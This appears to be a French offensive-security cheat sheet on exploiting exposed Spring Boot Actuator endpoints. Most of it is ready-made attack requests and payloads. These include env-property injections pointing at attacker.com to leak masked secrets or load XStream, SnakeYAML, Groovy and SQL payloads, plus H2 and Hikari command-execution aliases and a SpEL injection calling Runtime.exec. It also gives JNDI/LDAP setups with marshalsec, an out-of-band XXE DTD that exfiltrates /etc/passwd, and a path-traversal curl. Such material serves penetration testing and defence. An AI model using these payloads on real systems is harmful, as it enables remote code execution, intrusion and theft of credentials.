# Spring Boot

## Actuator

### Wordlist

ressource: <https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/spring-boot.txt>

## Environment endpoint (/env)

L'endpoint `env` fournit des informations sur l’environnement de l’application.

### Eureka-Client Information disclosure

{% hint style="info" %}
Prérequis:

* Endpoint /refresh actif

* Dependance `Eureka-Client`
  {% endhint %}

* Configurer les propriétés de `eureka.client.serviceUrl.defaultZone` comme ceci:

```
POST /actuator/env HTTP/1.1
Content-Type: application/x-www-form-urlencoded

{
    "name": "eureka.client.serviceUrl.defaultZone",
    "value": "http://value:${propriete.masquee}@attacker.com/"
}
```

* Rafraichir pour effectuer le changements de configuration (POST /actuator/refresh)
* Visioner les propriétés masquées via le header `Authorization`.

### Eureka-Client XStream deserialization RCE

{% hint style="info" %}
Prérequis:

* Endpoint /refresh actif

* Dependance `Eureka-Client` < 1.8.7
  {% endhint %}

* Mettre en place un serveur permettant d'établir une connexion XStream vers le serveur attaquant.

ressource: <https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py>

* Configurer les propriétés de `eureka.client.serviceUrl.defaultZone` pour qu'il se connecte au flux.

```
POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "eureka.client.serviceUrl.defaultZone",
    "value": "http://attacker.com/xstream"
}
```

* Rafraichir pour effectuer le changements de configuration (POST /actuator/refresh)

### Logback JNDI RCE

{% hint style="info" %}
Prérequis: endpoint /restart actif
{% endhint %}

* Hoster un fichier XML contenant le code suivant sur le serveur attaquant:

```xml
<configuration>
  <insertFromJNDI env-entry-name="ldap://attacker.com:1389/jndi" as="appName" />
</configuration>
```

Il s'agit de la configuration que la fonction `reloadByURL` va utiliser pour modifier celles de l'environnement en tant que configuration de logback.

* Hoster un service LDAP sur le serveur attaquant contenant l'exploit.
* Configurer les propriétés de `logging.config` pour pointer ver le code XML.

```
POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "logging.config",
    "value": "http://attacker.com/logback.xml"
}
```

* Relancer l'application pour effectuer le changements de configuration (POST /actuator/restart)

ressource: <https://github.com/LandGrey/SpringBootVulExploit/blob/master/codebase/springboot-realm-jndi-rce.py>

### Groovy RCE

{% hint style="info" %}
Prérequis: endpoint /restart actif
{% endhint %}

* Hoster un fichier `.groovy` contenant le code suivant: (exp: payload.groovy)

```java
Runtime.getRuntime().exec("[Command]") // où [Command] est a remplacer par la commande système
```

* Configurer les propriétés de `logging.config` ou `spring.main.sources` pour pointer ver le code groovy.

```
POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "logging.config",
    "value": "http://attacker.com/payload.groovy"
}
```

Ou,

```
POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "spring.main.sources",
    "value": "http://attacker.com/payload.groovy"
}
```

* Relancer l'application pour effectuer le changements de configuration (POST /actuator/restart)

### Tomcat SQLi

La fonction `spring.datasource.tomcat.validationQuery` permet de spécifier toute requête SQL qui sera exécutée automatiquement sur la base de données courante. Il peut s’agir de n’importe quelle déclaration, y compris insérer, mettre à jour ou supprimer des éléments.

```
POST /env HTTP/1.1
Content-Type: application/json

spring.datasource.tomcat.validationQuery=[SQL QUERY HERE]
```

### Tomcat JDBC connection string

La fonction `spring.datasource.tomcat.url` permet de modifier la chaîne de connexion JDBC actuelle.

```
POST /env HTTP/1.1
Content-Type: application/json

spring.datasource.tomcat.url=jdbc:mysql://localhost:3001/test&spring.datasource.tomcat.max-active=500
```

### Datasource Data RCE

{% hint style="info" %}
Prérequis:

* Endpoint /restart actif

* Dépendances `h2database` et `spring-boot-starter-data-jpa`
  {% endhint %}

* Hoster un fichier `.sql` contenant la requête suivante. (exp: payload.sql)

```sql
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
```

{% hint style="warning" %}
La méthode `T5` dans la charge utile doit être renommée (en `T6`) après l’exécution de la commande avant de pouvoir être recréée et utilisée. Sinon, la vulnérabilité ne se déclenchera pas lors du prochain redémarrage d’une application.
{% endhint %}

* Configurer les propriétés de la fonction `spring.datasource.data` pour utiliser ce fichier.

```
POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "spring.datasource.data",
    "value": "http://attacker.com/payload.sql"
}
```

* Relancer l'application pour effectuer le changements de configuration (POST /actuator/restart)

### JDBC Deserialization RCE

{% hint style="info" %}
Prérequis:

* Endpoint /restart actif

* Dépendance `mysql-connector-java`
  {% endhint %}

* Utiliser le point de terminaison /actuator/env pour récupérer les valeurs suivantes :
  * La version de `mysql-connector-java` (si la dépendance est active) qui doit être une version 5.x ou 8.x
  * la présence de la fonction `spring.datasource.url` pour faciliter la création ultérieure de son URL JDBC.

* Créer une charge utile avec ysoserial.

```
java -jar ysoserial.jar CommonsCollections3 [Command] > payload.ser
```

utiliser l'exploit suivant pour hoster le payload créé: <https://github.com/LandGrey/SpringBootVulExploit/blob/master/codebase/springboot-jdbc-deserialization-rce.py>

* Configurer les propriétés de la fonction `spring.datasource.url` comme ceci:
  * Pour `mysql-connector-java` versions 5.x

```
POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "spring.datasource.url",
    "value":"jdbc:mysql://attacker.com:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"
}
```

* Pour `mysql-connector-java` versions 8.x

```
POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "spring.datasource.url",
    "value":"jdbc:mysql://attacker.com:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"
}
```

* Relancer l'application pour effectuer le changements de configuration (POST /actuator/restart)
* Trouver un moyen de faire exécuter une requête SQL à l'application pour trigger la RCE.

### Bootstrap location information disclosure

{% hint style="info" %}
Prérequis:

* Endpoint /refresh actif

* Dépendance `spring-cloud-starter` version 1.3.0.RELEASE
  {% endhint %}

* Configurer les propriétés de la fonction `spring.cloud.bootstrap.location` comme ceci:

```
POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "spring.cloud.bootstrap.location",
    "value": "http://attacker.com/?=${propriete.masquee}"
}
```

* Rafraichir pour effectuer le changements de configuration (POST /actuator/refresh)

### SnakeYML deserialization RCE

La fonction `spring.cloud.bootstrap.location` permet de charger une configuration externe au format YAML. Vous pouvez obtenir l’exécution du code avec les étapes suivantes:

* Hoster un fichier `.yml` avec les configurations suivantes. (exp: config.yml)

```yaml
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker.com/payload.jar"]
  ]]
]
```

* Hoster un fichier `.jar` contenant l'exploit. (exp: payload.jar)

ressource: <https://github.com/artsploit/yaml-payload>

* Configurer les propriétés de la fonction `spring.cloud.bootstrap.location` comme ceci:

```
POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "spring.cloud.bootstrap.location",
    "value": "http://attacker.com/config.yml"
}
```

* Rafraichir pour effectuer le changements de configuration (POST /actuator/refresh)

### Hikari test query RCE

* Configurer les propriétés de la fonction `spring.datasource.hikari.connection-test-query` comme ceci:

```
POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "spring.datasource.hikari.connection-test-query",
    "value": "CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"
}
```

{% hint style="warning" %}
La méthode `T5` dans la charge utile doit être renommée (en `T6`) après l’exécution de la commande avant de pouvoir être recréée et utilisée. Sinon, la vulnérabilité ne se déclenchera pas lors du prochain redémarrage d’une application.
{% endhint %}

* Relancer l'application pour effectuer le changements de configuration (POST /actuator/restart)

## Gateway endpoint (/gateway)

### SSRF via ajout d'une route

* Essayer d'accéder à l'ensemble des routes via une requête `GET` vers `/actuator/gateway/route`
* Si il est possible de lister les routes alors on a les droits pour en ajouter, pour se faire on va envoyer une requête `POST` telle que:

```
POST /actuator/gateway/routes/new_route HTTP/1.1
Content-Type: application/json

{
"predicates": [
    {
    "name": "Path",
    "args": {
        "_genkey_0": "/new_route/**"
    }
    }
],
"filters": [
    {
    "name": "RewritePath",
    "args": {
        "_genkey_0": "/new_route(?<path>.*)",
        "_genkey_1": "/${path}"
    }
    }
],
"uri": "https://example.com",
"order": 0
}
```

* Rafraichir l'endpoint pour enregistrer les changements.

```
POST /actuator/gateway/refresh HTTP/1.1
Content-Type: application/json

{
    "predicate": "Paths: [/new_route], match trailing slash: true",
    "route_id": "new_route",
    "filters": [
        "[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]"
    ],
    "uri": "https://example.com",
    "order": 0
}
```

### RCE via injection SpEL

* Essayer d'accéder à l'ensemble des routes via une requête `GET` vers `/actuator/gateway/route`
* Si il est possible de lister les routes alors on a les droits pour en ajouter, pour se faire on va envoyer une de la même manière que précédemment mais en y ajoutant un argument comprenant une injection SpEL:

```
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}
```

* Rafraichir l'endpoint pour enregistrer les changements. (POST /actuator/gateway/refresh)
* Accéder à la nouvelle route via une requête `GET` et le résultat de la commande devrait se retrouver dans le parametre filters de la réponse HTTP.

## Sessions endpoint (/sessions)

Permet d'avoir des informations sur les sessions d'utilisateurs ou de supprimer des sessions.

ressource: <https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#sessions>

## h2-console endpoint (/h2-console)

### RCE via JNDI dans la console h2

{% hint style="info" %}
Prérequis:&#x20;

* La dépendance `com.h2database.h2`

* `spring.h2.console.enabled=true` dans les configurations de spring boot
  {% endhint %}

* Accéder à la console h2 `/h2-console`. L'application redirige sur `/h2-console/login.jsp? jsessionid=xxxxxx`.&#x20;

* Télécharger le payload: <https://github.com/LandGrey/SpringBootVulExploit/blob/master/codebase/JNDIObject.java>

* Compiler le payload

*`$ javac -source 1.5 -target 1.5 JNDIObject.java`*

* Mettre en place un service LDAP (exemple avec marshalsec)

```
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker.com:80/#JNDIObject 1389
```

* Injecter le JNDI comme ceci:

```
POST /h2-console/login.do?jsessionid=xxxxxx
Host: vulnerable-website.com
Content-Type: application/json
Referer: http://vulnerable-website.com/h2-console/login.jsp?jsessionid=xxxxxx

{
    "language": "en",
    "setting": "Generic+H2+(Embedded)",
    "name": "Generic+H2+(Embedded)",
    "driver": "javax.naming.InitialContext",
    "url": "ldap://attacker.com:1389/JNDIObject",
    "user": "",
    "password": ""
}
```

## Heapdump endpoint (/heapdump)

Heapdump retourne un fichier de vidage de tas hprof qui peut contenir des données sensibles, telles que les propriétés env, des identifiants, des sessions...

Exploitation: <https://www.exploit-db.com/docs/50459>

## Jolkia endpoint (/jolkia)

### Extraction de propriétés env

#### via org.springframework.boot

```
POST /actuator/jolokia HTTP/1.1
Content-Type: application/json

{
    "mbean": "org.springframework.boot:name=SpringApplication,type=Admin",
    "operation": "getProperty",
    "type": "EXEC",
    "arguments": [
        "your.property.name"
    ]
}
```

#### via org.springframework.cloud.context.environment

```
POST /actuator/jolokia HTTP/1.1
Content-Type: application/json

{
    "mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager",
    "operation": "getProperty",
    "type": "EXEC",
    "arguments": [
        "your.property.name"
    ]
}
```

### SSRF via Logback (reloadByURL)

* Lister les actions MBeans via une requête `GET` vers l'endpoint `/jolkia/list`
* Rechercher dans la réponse si l'action `reloadByURL` est utilisée par la librairie `Logback`.
* Si oui, on peut écraser la configuration pour rediriger les logs vers le serveur attaquant comme ceci:

<pre><code><strong>GET http://target.com:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker.com!/logback.xml
</strong></code></pre>

### OOB XXE

Logback utilise des configurations XML parsées par SAXParser avec des entités externes activées. On peut donc exploiter cette fonction pour déclencher une XXE hors bande en utilisant la SSRF vue précédemment.

Fichier de configuration envoyé au serveur victime:

```xml
<!-- logback.xml -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://attacker.com/file.dtd">%remote;%int;]>
<a>&trick;</a>
```

Fichier DTD sur le serveur attaquant:

```xml
<!-- payload.dtd -->
<!ENTITY % d SYSTEM "file:///etc/passwd"> 
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
```

Envoie du fichier de configuration:

```
GET http://target.com:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker.com!/logback.xml
```

### Logback JNDI RCE

Une RCE peut également être exploitée via l'utilisation de la SSRF.

Fichier de configuration envoyé au serveur victime:

```xml
<configuration>
    <insertFromJNDI env-entry-name="ldap://attacker.com:1389/JNDIObject" as="appName" />
</configuration>
```

Ou JNDIObject correspond au payload vue dans la partie suivante: [#rce-via-jndi-dans-la-console-h2](#rce-via-jndi-dans-la-console-h2 "mention")

De la même manière que dans cette partie, on va mettre en place un service LDAP puis une fois cela fait on va envoyer le fichier de configuration au serveur victime.

Envoie du fichier de configuration:

```
GET http://target.com:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker.com!/logback.xml
```

### RCE via Tomcat (createJNDIRealm)

* Checker la présence des éléments suivants dans la réponse HTTP à la requête `GET` vers `/jolkia/list`
  * `type=MBeanFactoryand`
  * `createJNDIRealm`
* Utiliser le payload JNDIObject vu dans la partie [#rce-via-jndi-dans-la-console-h2](#rce-via-jndi-dans-la-console-h2 "mention") (le compiler et lancer un service LDAP)
* Utiliser le script suivant pour exploiter la RCE:

ressource: <https://github.com/LandGrey/SpringBootVulExploit/blob/master/codebase/springboot-realm-jndi-rce.py>

## Logfile endpoint (/logfile)

L'endpoint logfile permet de récupérer le contenu du fichier de log de l'actuator via une simple requête `GET` directement dans la réponse HTTP .

Cela nécessite que les propriétés `logging.file.name` et `logging.file.path` soient activées.

## Logview endpoint (/manage/log/view)

### Path traversal

{% hint style="info" %}
Prérequis: `spring-boot-actuator-logview` avant version `0.2.13`
{% endhint %}

```
$ curl http://target.com:8887/manage/log/view?filename=/etc/passwd&base=../../../../../
```
